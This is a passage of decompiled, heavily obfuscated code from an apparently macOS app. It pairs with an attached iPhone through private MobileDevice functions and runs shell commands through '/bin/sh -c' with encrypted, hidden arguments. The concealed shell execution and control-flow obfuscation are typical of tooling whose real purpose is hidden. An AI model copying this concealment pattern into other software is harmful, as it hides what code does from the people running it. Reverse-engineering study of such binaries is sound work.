case -1003488991:
*v37 = 772879089;
break;
}
}
else if ( v28 > -670386985 )
{
if ( v28 == -670386984 )
{
v35 = v27 == 0;
v2 = 1020865843;
goto LABEL_77;
}
if ( v28 == -550189039 )
*v37 = 217150810;
}
else if ( v28 == -978068825 )
{
v2 = 138826805;
if ( v35 )
v2 = 143095580;
LABEL_77:
*v37 = v2;
}
else if ( v28 == -680999205 )
{
v2 = 1471621923;
goto LABEL_77;
}
}
else if ( v28 > -87692031 )
{
if ( v28 > 143095579 )
{
if ( v28 == 143095580 )
{
v3 = -1224924063;
goto LABEL_76;
}
if ( v28 == 217150810 )
{
v3 = -527075256;
goto LABEL_76;
}
}
else if ( v28 == -87692030 )
{
*v37 = 538857631;
}
else if ( v28 == 138826805 )
{
v3 = 451921116;
LABEL_76:
v2 = v3;
goto LABEL_77;
}
}
else if ( v28 > -154190800 )
{
if ( v28 == -154190799 )
{
v15 = v33;
v16 = HikariFunctionWrapper_17101(&OBJC_CLASS___NSString, "stringWithFormat:");
v17 = objc_retainAutoreleasedReturnValue(v16);
objc_release(v15);
v18 = +[NSArray arrayWithObjects:](
&OBJC_CLASS___NSArray,
"arrayWithObjects:",
CFSTR("\xC3\x7F\x90"),
v17,
0);
v19 = objc_retainAutoreleasedReturnValue(v18);
objc_release(v17);
objc_msgSend(v34, "setArguments:", v19);
v20 = +[NSPipe pipe](&OBJC_CLASS___NSPipe, "pipe");
v21 = objc_retainAutoreleasedReturnValue(v20);
objc_msgSend(v34, "setStandardOutput:", v21);
v22 = HikariFunctionWrapper_17103(v21, "fileHandleForReading");
v23 = objc_retainAutoreleasedReturnValue(v22);
objc_msgSend(v34, "launch");
v24 = objc_msgSend(v23, "readDataToEndOfFile");
objc_retainAutoreleasedReturnValue(v24);
v25 = objc_alloc((Class)&OBJC_CLASS___NSString);
HikariFunctionWrapper_17105(v25, "initWithData:encoding:");
*v37 = -527075256;
}
else if ( v28 == -116909693 )
{
*v37 = -680999205;
}
}
else
{
if ( v28 == -527075256 )
{
v7 = v33;
v8 = +[NSString stringWithFormat:](&OBJC_CLASS___NSString, "stringWithFormat:", CFSTR("\xD2\x373"), v33);
v9 = objc_retainAutoreleasedReturnValue(v8);
objc_release(v7);
v10 = +[NSArray arrayWithObjects:](
&OBJC_CLASS___NSArray,
"arrayWithObjects:",
CFSTR("\xC3\x7F\x90"),
v9,
0);
v29 = objc_retainAutoreleasedReturnValue(v10);
objc_release(v9);
objc_msgSend(v34, "setArguments:", v29);
v11 = +[NSPipe pipe](&OBJC_CLASS___NSPipe, "pipe");
v30 = objc_retainAutoreleasedReturnValue(v11);
HikariFunctionWrapper_17097(v34, "setStandardOutput:");
v12 = HikariFunctionWrapper_17099(v30, "fileHandleForReading");
v31 = objc_retainAutoreleasedReturnValue(v12);
objc_msgSend(v34, "launch");
v13 = objc_msgSend(v31, "readDataToEndOfFile");
v32 = objc_retainAutoreleasedReturnValue(v13);
v14 = objc_alloc((Class)&OBJC_CLASS___NSString);
v26 = objc_msgSend(v14, "initWithData:encoding:", v32, 4);
v2 = -1003488991;
goto LABEL_77;
}
if ( v28 == -252452937 )
{
asc_100279FE4[0] = 47;
asc_100279FE4[1] = 98;
*v37 = -1224924063;
}
}
}
if ( v28 > 899027538 )
break;
if ( v28 <= 538857630 )
{
switch ( v28 )
{
case 310277732:
v27 = dword_10029F524;
v3 = -87692030;
goto LABEL_76;
case 333821224:
*v37 = 2066543004;
break;
case 451921116:
dword_10029F524 = 1;
objc_retain(v33);
v4 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v34 = HikariFunctionWrapper_17095(v4, "init");
objc_msgSend(v34, "setLaunchPath:", CFSTR("\x1B\xE5\x3D\xFF$(\xA3L"));
v2 = -550189039;
goto LABEL_77;
}
}
else if ( v28 > 650561201 )
{
if ( v28 == 650561202 )
{
objc_release(v26);
objc_release(v32);
objc_release(v31);
objc_release(v30);
objc_release(v29);
objc_release(v34);
goto LABEL_67;
}
if ( v28 == 772879089 )
LABEL_67:
*v37 = 554292805;
}
else
{
if ( v28 == 538857631 )
{
v2 = -670386984;
goto LABEL_77;
}
if ( v28 == 554292805 )
{
objc_release(v26);
objc_release(v32);
objc_release(v31);
objc_release(v30);
objc_release(v29);
objc_release(v34);
v2 = 1873912875;
goto LABEL_77;
}
}
}
if ( v28 > 1471621922 )
break;
if ( v28 > 1165938278 )
{
if ( v28 == 1165938279 )
{
asc_100279FE4[2] = v36 ^ 0x16;
asc_100279FE4[3] = 110;
asc_100279FE4[4] = 47;
asc_100279FE4[5] = 115;
asc_100279FE4[6] = 104;
asc_100279FE4[7] = 0;
asc_100279FD9[0] = 37;
asc_100279FD9[1] = 64;
*v37 = 1471621923;
}
else if ( v28 == 1193978411 )
{
*v37 = 310277732;
}
}
else if ( v28 == 899027539 )
{
dword_10029F524 = 1;
objc_retain(v33);
v5 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v6 = objc_msgSend(v5, "init");
objc_msgSend(v6, "setLaunchPath:", CFSTR("\x1B\xE5\x3D\xFF$(\xA3L"));
*v37 = 451921116;
}
else if ( v28 == 1020865843 )
{
*v37 = -978068825;
}
}
if ( v28 <= 1889971320 )
break;
if ( v28 == 2066543004 )
{
asc_100279FD9[2] = 0;
asc_100279FD3[0] = 45;
asc_100279FD3[1] = 99;
asc_100279FD3[2] = 0;
*v37 = 138826805;
}
else if ( v28 == 1889971321 )
{
v2 = 310277732;
goto LABEL_77;
}
}
if ( v28 == 1471621923 )
{
asc_100279FE4[2] = v36 ^ 0x16;
asc_100279FE4[3] = 110;
asc_100279FE4[4] = 47;
asc_100279FE4[5] = 115;
asc_100279FE4[6] = 104;
asc_100279FE4[7] = 0;
asc_100279FD9[0] = 37;
asc_100279FD9[1] = 64;
v3 = 333821224;
goto LABEL_76;
}
}
while ( v28 != 1873912875 );
return result;
}
// 1000E2AB7: variable 'v26' is possibly undefined
// 1000E2FA2: variable 'v27' is possibly undefined
// 10027A010: using guessed type __CFString stru_10027A010;
// 10027A050: using guessed type __CFString stru_10027A050;
// 10027A090: using guessed type __CFString stru_10027A090;
// 10029F524: using guessed type int dword_10029F524;
//----- (00000001000E33AF) ----------------------------------------------------
char __cdecl -[AppDelegate applicationShouldTerminateAfterLastWindowClosed:](AppDelegate *self, SEL a2, id a3)
{
return 1;
}
//----- (00000001000E33BA) ----------------------------------------------------
char __cdecl -[AppDelegate applicationSupportsSecureRestorableState:](AppDelegate *self, SEL a2, id a3)
{
int v3; // ecx
int v5; // [rsp+4h] [rbp-Ch] BYREF
int *v6; // [rsp+8h] [rbp-8h]
v5 = -1026374768;
v6 = &v5;
do
{
while ( v5 <= 151184579 )
{
if ( v5 == -1026374768 )
{
v3 = 151184580;
LABEL_9:
*v6 = v3;
}
else if ( v5 == -956229015 )
{
*v6 = 151184580;
}
}
if ( v5 == 151184580 )
{
v3 = 1527380014;
goto LABEL_9;
}
}
while ( v5 != 1527380014 );
return 1;
}
//----- (00000001000E3485) ----------------------------------------------------
char PairLoop()
{
char v0; // cf
int v1; // eax
int v2; // ecx
bool v3; // zf
char v4; // cf
int v5; // ecx
int v6; // ecx
bool v7; // zf
int v8; // ecx
char v9; // al
id v10; // rax
id v11; // r12
id v12; // rax
id v13; // rsi
unsigned int v14; // eax
__int64 Copy; // rax
char IsPaired; // al
__int64 v18; // [rsp+0h] [rbp-80h]
__int64 v19; // [rsp+8h] [rbp-78h]
const char *v20; // [rsp+10h] [rbp-70h]
id v21; // [rsp+18h] [rbp-68h]
__int64 v22; // [rsp+20h] [rbp-60h]
__int64 v23; // [rsp+28h] [rbp-58h]
int v24; // [rsp+38h] [rbp-48h]
int v25; // [rsp+3Ch] [rbp-44h]
int v26; // [rsp+40h] [rbp-40h] BYREF
unsigned int v27; // [rsp+44h] [rbp-3Ch]
bool v28; // [rsp+4Bh] [rbp-35h]
char v29; // [rsp+4Ch] [rbp-34h]
bool v30; // [rsp+4Dh] [rbp-33h]
bool v31; // [rsp+4Eh] [rbp-32h]
char v32; // [rsp+4Fh] [rbp-31h]
int *v33; // [rsp+50h] [rbp-30h]
v26 = 1020779332;
v33 = &v26;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v26 > 94356493 )
{
if ( v26 <= 1020779331 )
{
if ( v26 <= 533668516 )
{
if ( v26 > 319555016 )
{
if ( v26 <= 403696828 )
{
switch ( v26 )
{
case 319555017:
v3 = !v31;
v1 = -195795399;
v6 = -1892982808;
goto LABEL_289;
case 331651465:
v0 = 1;
v1 = 1530542364;
v2 = 222932602;
goto LABEL_300;
case 353394695:
*v33 = -1183182620;
break;
}
}
else if ( v26 > 412654473 )
{
if ( v26 == 412654474 )
{
v31 = v25 == 0;
v0 = 1;
v1 = -380809192;
v2 = 412654474;
goto LABEL_300;
}
if ( v26 == 495684518 )
{
NSLog(CFSTR("[\x06W\xE4\xC6\xC4\x0E\xAC"));
v4 = 0;
v1 = -890029139;
v5 = 1443872873;
goto LABEL_294;
}
}
else if ( v26 == 403696829 )
{
*v33 = 1217705394;
}
else if ( v26 == 407467387 )
{
*v33 = 1942640363;
}
}
else if ( v26 <= 216514399 )
{
switch ( v26 )
{
case 94356494:
*v33 = 1299803460;
break;
case 108217664:
*v33 = -1951858290;
break;
case 184141892:
v7 = 0;
v1 = -1621806120;
v8 = -55414445;
goto LABEL_278;
}
}
else if ( v26 > 227862748 )
{
if ( v26 == 227862749 )
goto LABEL_225;
if ( v26 == 276370119 )
{
v28 = v24 == 0;
v4 = 1;
v1 = -2068601990;
v5 = -1903565831;
goto LABEL_294;
}
}
else if ( v26 == 216514400 )
{
v20 = "stringWithFormat:";
*v33 = -657386735;
}
else if ( v26 == 222932602 )
{
*v33 = 1530542364;
}
}
else if ( v26 <= 851643015 )
{
if ( v26 <= 700766244 )
{
switch ( v26 )
{
case 533668517:
HikariFunctionWrapper_17111(v19);
*v33 = -671805184;
break;
case 617666580:
v7 = 0;
v1 = 407467387;
v8 = 617666580;
LABEL_278:
if ( v7 )
v1 = v8;
LABEL_302:
*v33 = v1;
break;
case 656817638:
v3 = 0;
v1 = 533668517;
v6 = -671805184;
goto LABEL_289;
}
}
else if ( v26 > 765198824 )
{
if ( v26 == 765198825 )
{
asc_10027A140[22] = 116;
asc_10027A140[23] = 32;
asc_10027A140[24] = 100;
asc_10027A140[25] = 105;
asc_10027A140[26] = 97;
asc_10027A140[27] = 108;
asc_10027A140[28] = 111;
asc_10027A140[29] = 103;
asc_10027A140[30] = 32;
asc_10027A140[31] = 111;
asc_10027A140[32] = 110;
asc_10027A140[33] = 32;
asc_10027A140[34] = 116;
asc_10027A140[35] = 104;
asc_10027A140[36] = 101;
asc_10027A140[37] = 32;
asc_10027A140[38] = 105;
asc_10027A140[39] = 68;
asc_10027A140[40] = 101;
asc_10027A140[41] = 118;
asc_10027A140[42] = 105;
asc_10027A140[43] = 99;
asc_10027A140[44] = 101;
asc_10027A140[45] = 32;
asc_10027A140[46] = 115;
asc_10027A140[47] = 99;
asc_10027A140[48] = 114;
asc_10027A140[49] = 101;
asc_10027A140[50] = 101;
asc_10027A140[51] = 110;
asc_10027A140[52] = 46;
asc_10027A140[53] = 32;
asc_10027A140[54] = 10;
asc_10027A140[55] = 10;
asc_10027A140[56] = 65;
asc_10027A140[57] = 99;
asc_10027A140[58] = 101;
asc_10027A140[59] = 112;
asc_10027A140[60] = 116;
asc_10027A140[61] = 101;
asc_10027A140[62] = 32;
asc_10027A140[63] = 108;
asc_10027A140[64] = 97;
asc_10027A140[65] = 32;
asc_10027A140[66] = 118;
asc_10027A140[67] = 101;
asc_10027A140[68] = 110;
asc_10027A140[69] = 116;
asc_10027A140[70] = 97;
asc_10027A140[71] = 110;
asc_10027A140[72] = 97;
asc_10027A140[73] = 32;
asc_10027A140[74] = 100;
asc_10027A140[75] = 101;
asc_10027A140[76] = 32;
asc_10027A140[77] = 99;
asc_10027A140[78] = 111;
asc_10027A140[79] = 110;
asc_10027A140[80] = 102;
asc_10027A140[81] = 105;
asc_10027A140[82] = 97;
asc_10027A140[83] = 114;
asc_10027A140[84] = 32;
asc_10027A140[85] = 101;
asc_10027A140[86] = 110;
asc_10027A140[87] = 32;
asc_10027A140[88] = 101;
asc_10027A140[89] = 108;
asc_10027A140[90] = 32;
asc_10027A140[91] = 105;
v3 = 0;
asc_10027A140[92] = 80;
v1 = 765198825;
v6 = 1994825344;
goto LABEL_289;
}
if ( v26 == 844857361 )
{
NSLog(CFSTR("e\xC2\x65\xB2\xE1\xBF\x47A\"\xDC\xF0\u05CDD\xA3\x12\xD0\x7CZ\xEC\xBF\xFA\x8E"));
*v33 = -1338043609;
}
}
else
{
if ( v26 == 700766245 )
{
v3 = 0;
v19 = idevice;
v1 = -1058021589;
v6 = -114524882;
goto LABEL_289;
}
if ( v26 == 740790848 )
{
v4 = 0;
v1 = 27704962;
v5 = 1823480348;
goto LABEL_294;
}
}
}
else if ( v26 > 953306290 )
{
if ( v26 > 1000689734 )
{
if ( v26 == 1000689735 )
{
LABEL_225:
*v33 = -1129523032;
}
else if ( v26 == 1019743526 )
{
*v33 = 1853340223;
}
}
else if ( v26 == 953306291 )
{
dword_10029F530 = 1;
*v33 = -541956559;
}
else if ( v26 == 983396253 )
{
v30 = v27 == 1;
v4 = 1;
v1 = 983396253;
v5 = -343552927;
goto LABEL_294;
}
}
else if ( v26 > 888920261 )
{
if ( v26 == 888920262 )
{
v7 = 0;
v1 = -1802282699;
goto LABEL_264;
}
if ( v26 == 896027609 )
{
v7 = 0;
v24 = dword_10029F530;
v1 = 2007719877;
v8 = 896027609;
goto LABEL_278;
}
}
else
{
if ( v26 == 851643016 )
{
v7 = 0;
v1 = 227862749;
v8 = 851643016;
goto LABEL_278;
}
if ( v26 == 864395499 )
{
v4 = 1;
v1 = 864395499;
v5 = -1794162685;
goto LABEL_294;
}
}
}
else if ( v26 > 1677121681 )
{
if ( v26 <= 1832409346 )
{
if ( v26 <= 1812437687 )
{
switch ( v26 )
{
case 1677121682:
goto LABEL_226;
case 1715279179:
v4 = 1;
v1 = 46431208;
v5 = -2143113407;
goto LABEL_294;
case 1794464284:
*v33 = -291397296;
break;
}
}
else if ( v26 > 1821757430 )
{
if ( v26 == 1821757431 )
{
v0 = 0;
v1 = 1821757431;
v2 = -1212049535;
goto LABEL_300;
}
if ( v26 == 1823480348 )
{
AMDeviceIsPaired(v22);
*v33 = 27704962;
}
}
else if ( v26 == 1812437688 )
{
v12 = objc_msgSend(
v21,
v20,
CFSTR("S\x98\x8Ao\x84\xC3\x0C\x8A\x06v\xF3\xF4\xC5\xEB\x89\xF8"),
v27);
v13 = objc_retainAutoreleasedReturnValue(v12);
HikariFunctionWrapper_17107(CFSTR("\xD2\x373"));
objc_release(v13);
*v33 = 1000689735;
}
else if ( v26 == 1815583490 )
{
v4 = 0;
v1 = 617666580;
v5 = -72554428;
goto LABEL_294;
}
}
else if ( v26 > 1994825343 )
{
if ( v26 > 2007719876 )
{
if ( v26 == 2007719877 )
{
*v33 = -1068940285;
}
else if ( v26 == 2140875628 )
{
v4 = 1;
v1 = 1443872873;
v5 = 495684518;
goto LABEL_294;
}
}
else if ( v26 == 1994825344 )
{
*v33 = 888920262;
}
else if ( v26 == 2002281972 )
{
*v33 = 864395499;
}
}
else if ( v26 > 1853340222 )
{
if ( v26 == 1853340223 )
{
v0 = 1;
v1 = -1138286248;
v2 = 1019743526;
goto LABEL_300;
}
if ( v26 == 1942640363 )
{
v7 = 0;
v1 = 864395499;
v8 = 2002281972;
goto LABEL_278;
}
}
else
{
if ( v26 == 1832409347 )
{
v0 = 0;
v1 = 1590045802;
v2 = -1137780918;
goto LABEL_300;
}
if ( v26 == 1852296605 )
{
asc_10027A140[93] = 104;
asc_10027A140[94] = 111;
asc_10027A140[95] = 110;
asc_10027A140[96] = 101;
asc_10027A140[97] = 46;
asc_10027A140[98] = 0;
strcpy(aE_15, "Device Disconnected...");
strcpy(aS_10, "Pair result: %d");
asc_100279FD9[0] = 37;
asc_100279FD9[1] = 64;
asc_100279FD9[2] = 0;
*v33 = -1802282699;
}
}
}
else if ( v26 <= 1495514878 )
{
if ( v26 <= 1299803459 )
{
switch ( v26 )
{
case 1020779332:
v4 = 1;
v1 = -1860364218;
v5 = 896027609;
goto LABEL_294;
case 1111140673:
v4 = 1;
v1 = 1649942165;
v5 = 319555017;
goto LABEL_294;
case 1217705394:
v0 = 0;
v1 = -207208863;
v2 = 1812437688;
goto LABEL_300;
}
}
else if ( v26 > 1443872872 )
{
if ( v26 == 1443872873 )
{
NSLog(CFSTR("[\x06W\xE4\xC6\xC4\x0E\xAC"));
*v33 = 495684518;
}
else if ( v26 == 1461112955 )
{
v0 = 1;
v1 = 700766245;
v2 = -1058021589;
goto LABEL_300;
}
}
else
{
if ( v26 == 1299803460 )
{
v0 = 1;
v1 = -541956559;
goto LABEL_234;
}
if ( v26 == 1347218057 )
{
v0 = 0;
v1 = 1019743526;
v2 = 1853340223;
goto LABEL_300;
}
}
}
else if ( v26 > 1562591083 )
{
if ( v26 > 1640822733 )
{
if ( v26 == 1640822734 )
{
*v33 = 983396253;
}
else if ( v26 == 1649942165 )
{
*v33 = 1111140673;
}
}
else if ( v26 == 1562591084 )
{
*v33 = 184141892;
}
else if ( v26 == 1590045802 )
{
AMDeviceCreateCopy(idevice);
*v33 = -1137780918;
}
}
else if ( v26 > 1543252516 )
{
if ( v26 == 1543252517 )
{
v0 = 0;
v1 = -1187097143;
v2 = 1821757431;
goto LABEL_300;
}
if ( v26 == 1560597048 )
{
v4 = 1;
v1 = 1649942165;
v5 = 1111140673;
goto LABEL_294;
}
}
else
{
if ( v26 == 1495514879 )
{
v3 = !v30;
v1 = 1677121682;
v6 = 2140875628;
goto LABEL_289;
}
if ( v26 == 1530542364 )
{
v0 = 1;
v23 = idevice;
v1 = 1562591084;
v2 = 1530542364;
goto LABEL_300;
}
}
}
if ( v26 <= -1058021590 )
break;
if ( v26 <= -418508010 )
{
if ( v26 > -746108131 )
{
if ( v26 <= -553343289 )
{
switch ( v26 )
{
case -746108130:
aW_7[0] = 83;
aW_7[1] = 85;
aW_7[2] = 67;
aW_7[3] = 67;
aW_7[4] = 69;
aW_7[5] = 83;
aW_7[6] = 83;
aW_7[7] = 0;
qmemcpy(asc_10027A140, "Please accept the trus", 22);
v0 = 1;
v1 = 108217664;
v2 = -256418476;
goto LABEL_300;
case -671805184:
IsPaired = AMDeviceIsPaired(v19);
v0 = 0;
v29 = IsPaired;
v1 = -671805184;
v2 = -553343288;
goto LABEL_300;
case -657386735:
v3 = 0;
v1 = -1122306637;
v6 = -382098165;
goto LABEL_289;
}
}
else if ( v26 > -516629478 )
{
if ( v26 == -516629477 )
{
*v33 = -811754834;
}
else if ( v26 == -507564021 )
{
v4 = 0;
v1 = 983396253;
v5 = 1640822734;
goto LABEL_294;
}
}
else if ( v26 == -553343288 )
{
*v33 = 1347218057;
}
else if ( v26 == -541956559 )
{
v0 = 1;
dword_10029F530 = 1;
v1 = -1331211818;
LABEL_234:
v2 = 953306291;
goto LABEL_300;
}
}
else if ( v26 <= -921495961 )
{
switch ( v26 )
{
case -1058021589:
*v33 = 700766245;
break;
case -1017870988:
*v33 = 851643016;
break;
case -935364430:
*v33 = 76261215;
break;
}
}
else if ( v26 > -811754835 )
{
if ( v26 == -811754834 )
{
v4 = 1;
v1 = -1658528573;
v5 = 412654474;
goto LABEL_294;
}
if ( v26 == -808176109 )
{
v4 = 1;
v25 = connected;
v1 = -808176109;
v5 = -516629477;
goto LABEL_294;
}
}
else
{
if ( v26 == -921495960 )
{
v14 = AMDevicePair(idevice);
v3 = 0;
v27 = v14;
v1 = -1990954441;
v6 = -1088629547;
goto LABEL_289;
}
if ( v26 == -890029139 )
*v33 = 1543252517;
}
}
else if ( v26 <= -195795400 )
{
if ( v26 <= -343552928 )
{
switch ( v26 )
{
case -418508009:
*v33 = 1815583490;
break;
case -382098165:
v4 = 1;
v1 = -1122306637;
v5 = -1688450747;
LABEL_294:
if ( v4 )
v1 = v5;
goto LABEL_302;
case -380809192:
*v33 = 1560597048;
break;
}
}
else if ( v26 > -256418477 )
{
if ( v26 == -256418476 )
{
aW_7[0] = 83;
aW_7[1] = 85;
aW_7[2] = 67;
aW_7[3] = 67;
aW_7[4] = 69;
aW_7[5] = 83;
aW_7[6] = 83;
aW_7[7] = 0;
qmemcpy(asc_10027A140, "Please accept the trus", 22);
*v33 = -746108130;
}
else if ( v26 == -207208863 )
{
v10 = HikariFunctionWrapper_17113(v21, v20);
v11 = objc_retainAutoreleasedReturnValue(v10);
NSLog(CFSTR("\xD2\x373"), v11);
objc_release(v11);
*v33 = 1812437688;
}
}
else if ( v26 == -343552927 )
{
*v33 = 1495514879;
}
else if ( v26 == -291397296 )
{
idevice = v18;
v7 = (unsigned int)AMDeviceConnect(v18) == 0;
v1 = 1942640363;
v8 = 1461112955;
goto LABEL_278;
}
}
else if ( v26 > -55414446 )
{
if ( v26 > 46431207 )
{
if ( v26 == 46431208 )
{
*v33 = -2143113407;
}
else if ( v26 == 76261215 )
{
v7 = 0;
v1 = -1538465788;
v8 = 76261215;
goto LABEL_278;
}
}
else if ( v26 == -55414445 )
{
AMDeviceStartSession(v23);
*v33 = -1621806120;
}
else if ( v26 == 27704962 )
{
v9 = AMDeviceIsPaired(v22);
v4 = 0;
v32 = v9;
v1 = -2140722207;
v5 = 27704962;
goto LABEL_294;
}
}
else if ( v26 > -114524883 )
{
if ( v26 == -114524882 )
{
*v33 = 656817638;
}
else if ( v26 == -72554428 )
{
*v33 = 617666580;
}
}
else if ( v26 == -195795399 )
{
showOkMessage(CFSTR("\x84\xAB$\x9D\xA1\xF4\x1A\x10\xB8\x01\x19\xACS\xEB\xD7\xE6\xC8\x49X\"vx~\xBF M%\xC8\x07\x01\x12d\x81\fe\xF3\x80\x96\x25m++J\aI\x1F\x9E\x14\x9D\xBC\xA4g\"\x19[A\x12r^[\xF5\x45\x54\xEC\xB4$~$MᓫM\x1A^FE\x8B\x96\x93a\x8CKG\x18\xBE\x8A\xBC\xF6\xC3\xE8\x66w3\xB3\xE1\xF4\x59P"));
*v33 = 1715279179;
}
else if ( v26 == -154541337 )
{
LABEL_249:
*v33 = -921495960;
}
}
if ( v26 <= -1538465789 )
break;
if ( v26 <= -1183182621 )
{
if ( v26 <= -1338043610 )
{
switch ( v26 )
{
case -1538465788:
v3 = !v28;
v1 = 1299803460;
v6 = -1345720921;
LABEL_289:
if ( !v3 )
v1 = v6;
goto LABEL_302;
case -1498867615:
v0 = 1;
v1 = 76261215;
v2 = -935364430;
goto LABEL_300;
case -1345720921:
v7 = 0;
v1 = -746108130;
v8 = -256418476;
goto LABEL_278;
}
}
else if ( v26 > -1212049536 )
{
if ( v26 == -1212049535 )
{
*v33 = 331651465;
}
else if ( v26 == -1187097143 )
{
*v33 = 1821757431;
}
}
else
{
if ( v26 == -1338043609 )
{
NSLog(CFSTR("e\xC2\x65\xB2\xE1\xBF\x47A\"\xDC\xF0\u05CDD\xA3\x12\xD0\x7CZ\xEC\xBF\xFA\x8E"));
v4 = 0;
v1 = 353394695;
v5 = -1338043609;
goto LABEL_294;
}
if ( v26 == -1331211818 )
*v33 = 1832409347;
}
}
else if ( v26 > -1122306638 )
{
if ( v26 > -1088629548 )
{
if ( v26 == -1088629547 )
{
*v33 = -507564021;
}
else if ( v26 == -1068940285 )
{
v3 = 0;
v1 = -2068601990;
v6 = 276370119;
goto LABEL_289;
}
}
else if ( v26 == -1122306637 )
{
*v33 = -382098165;
}
else if ( v26 == -1090610045 )
{
LABEL_226:
*v33 = -808176109;
}
}
else if ( v26 > -1137780919 )
{
if ( v26 == -1137780918 )
{
Copy = AMDeviceCreateCopy(idevice);
v3 = 0;
v18 = Copy;
v1 = 1590045802;
v6 = 1794464284;
goto LABEL_289;
}
if ( v26 == -1129523032 )
{
v22 = idevice;
*v33 = 740790848;
}
}
else
{
if ( v26 == -1183182620 )
{
v4 = 0;
v1 = 851643016;
v5 = -1017870988;
goto LABEL_294;
}
if ( v26 == -1138286248 )
{
v3 = v29 == 0;
v1 = 216514400;
LABEL_92:
v6 = 331651465;
goto LABEL_289;
}
}
}
if ( v26 > -1892982809 )
break;
if ( v26 <= -1990954442 )
{
switch ( v26 )
{
case -2143113407:
v0 = 0;
v21 = &OBJC_CLASS___NSString;
v1 = 46431208;
v2 = 403696829;
LABEL_300:
if ( !v0 )
v1 = v2;
goto LABEL_302;
case -2140722207:
*v33 = -1966449910;
break;
case -2068601990:
*v33 = 276370119;
break;
}
}
else if ( v26 > -1951858291 )
{
if ( v26 == -1951858290 )
{
v7 = 0;
v1 = 765198825;
v8 = -1891207338;
goto LABEL_278;
}
if ( v26 == -1903565831 )
*v33 = -1498867615;
}
else
{
if ( v26 == -1990954441 )
{
AMDevicePair(idevice);
goto LABEL_249;
}
if ( v26 == -1966449910 )
{
v3 = v32 == 0;
v1 = -154541337;
goto LABEL_92;
}
}
}
if ( v26 > -1794162686 )
break;
if ( v26 > -1860364219 )
{
if ( v26 == -1860364218 )
{
*v33 = 896027609;
}
else if ( v26 == -1802282699 )
{
asc_10027A140[93] = 104;
asc_10027A140[94] = 111;
asc_10027A140[95] = 110;
asc_10027A140[96] = 101;
asc_10027A140[97] = 46;
asc_10027A140[98] = 0;
strcpy(aE_15, "Device Disconnected...");
strcpy(aS_10, "Pair result: %d");
asc_100279FD9[0] = 37;
asc_100279FD9[1] = 64;
v7 = 0;
asc_100279FD9[2] = 0;
v1 = 94356494;
LABEL_264:
v8 = 1852296605;
goto LABEL_278;
}
}
else
{
if ( v26 == -1892982808 )
{
v0 = 0;
v1 = 844857361;
v2 = -1338043609;
goto LABEL_300;
}
if ( v26 == -1891207338 )
{
asc_10027A140[22] = 116;
asc_10027A140[23] = 32;
asc_10027A140[24] = 100;
asc_10027A140[25] = 105;
asc_10027A140[26] = 97;
asc_10027A140[27] = 108;
asc_10027A140[28] = 111;
asc_10027A140[29] = 103;
asc_10027A140[30] = 32;
asc_10027A140[31] = 111;
asc_10027A140[32] = 110;
asc_10027A140[33] = 32;
asc_10027A140[34] = 116;
asc_10027A140[35] = 104;
asc_10027A140[36] = 101;
asc_10027A140[37] = 32;
asc_10027A140[38] = 105;
asc_10027A140[39] = 68;
asc_10027A140[40] = 101;
asc_10027A140[41] = 118;
asc_10027A140[42] = 105;
asc_10027A140[43] = 99;
asc_10027A140[44] = 101;
asc_10027A140[45] = 32;
asc_10027A140[46] = 115;
asc_10027A140[47] = 99;
asc_10027A140[48] = 114;
asc_10027A140[49] = 101;
asc_10027A140[50] = 101;
asc_10027A140[51] = 110;
asc_10027A140[52] = 46;
asc_10027A140[53] = 32;
asc_10027A140[54] = 10;
asc_10027A140[55] = 10;
asc_10027A140[56] = 65;
asc_10027A140[57] = 99;
asc_10027A140[58] = 101;
asc_10027A140[59] = 112;
asc_10027A140[60] = 116;
asc_10027A140[61] = 101;
asc_10027A140[62] = 32;
asc_10027A140[63] = 108;
asc_10027A140[64] = 97;
asc_10027A140[65] = 32;
asc_10027A140[66] = 118;
asc_10027A140[67] = 101;
asc_10027A140[68] = 110;
asc_10027A140[69] = 116;
asc_10027A140[70] = 97;
asc_10027A140[71] = 110;
asc_10027A140[72] = 97;
asc_10027A140[73] = 32;
asc_10027A140[74] = 100;
asc_10027A140[75] = 101;
asc_10027A140[76] = 32;
asc_10027A140[77] = 99;
asc_10027A140[78] = 111;
asc_10027A140[79] = 110;
asc_10027A140[80] = 102;
asc_10027A140[81] = 105;
asc_10027A140[82] = 97;
asc_10027A140[83] = 114;
asc_10027A140[84] = 32;
asc_10027A140[85] = 101;
asc_10027A140[86] = 110;
asc_10027A140[87] = 32;
asc_10027A140[88] = 101;
asc_10027A140[89] = 108;
asc_10027A140[90] = 32;
asc_10027A140[91] = 105;
asc_10027A140[92] = 80;
*v33 = 765198825;
}
}
}
if ( v26 <= -1658528574 )
break;
if ( v26 == -1658528573 )
{
*v33 = 412654474;
}
else if ( v26 == -1621806120 )
{
HikariFunctionWrapper_17109(v23);
v4 = 0;
v1 = -418508009;
v5 = -55414445;
goto LABEL_294;
}
}
if ( v26 != -1688450747 )
break;
*v33 = -154541337;
}
}
while ( v26 != -1794162685 );
return 1;
}
// 1000E420B: variable 'v18' is possibly undefined
// 1000E4355: variable 'v22' is possibly undefined
// 1000E43D0: variable 'v23' is possibly undefined
// 1000E4706: variable 'v24' is possibly undefined
// 1000E4CBC: variable 'v21' is possibly undefined
// 1000E4CBC: variable 'v20' is possibly undefined
// 1000E5017: variable 'v25' is possibly undefined
// 1000E5E87: variable 'v19' is possibly undefined
// 100256156: using guessed type __int64 __fastcall AMDeviceConnect(_QWORD);
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
// 100256198: using guessed type __int64 __fastcall AMDeviceStartSession(_QWORD);
// 10027A260: using guessed type __CFString cfstr_S_10;
// 10027A2A0: using guessed type __CFString stru_10027A2A0;
// 10029F530: using guessed type int dword_10029F530;
// 10029F838: using guessed type int connected;
// 10029F898: using guessed type __int64 idevice;
//----- (00000001000E61FF) ----------------------------------------------------
void __cdecl -[AppDelegate newApplicationDidLaunch:](AppDelegate *self, SEL a2, id a3)
{
bool v4; // zf
int v5; // eax
int v6; // ecx
char v7; // cf
int v8; // ecx
int v9; // ecx
bool v10; // zf
int v11; // ecx
id v12; // rax
id v13; // rax
id v14; // rax
id v15; // rax
id v16; // rax
id v17; // rax
NSArray *v18; // rax
NSArray *v19; // rax
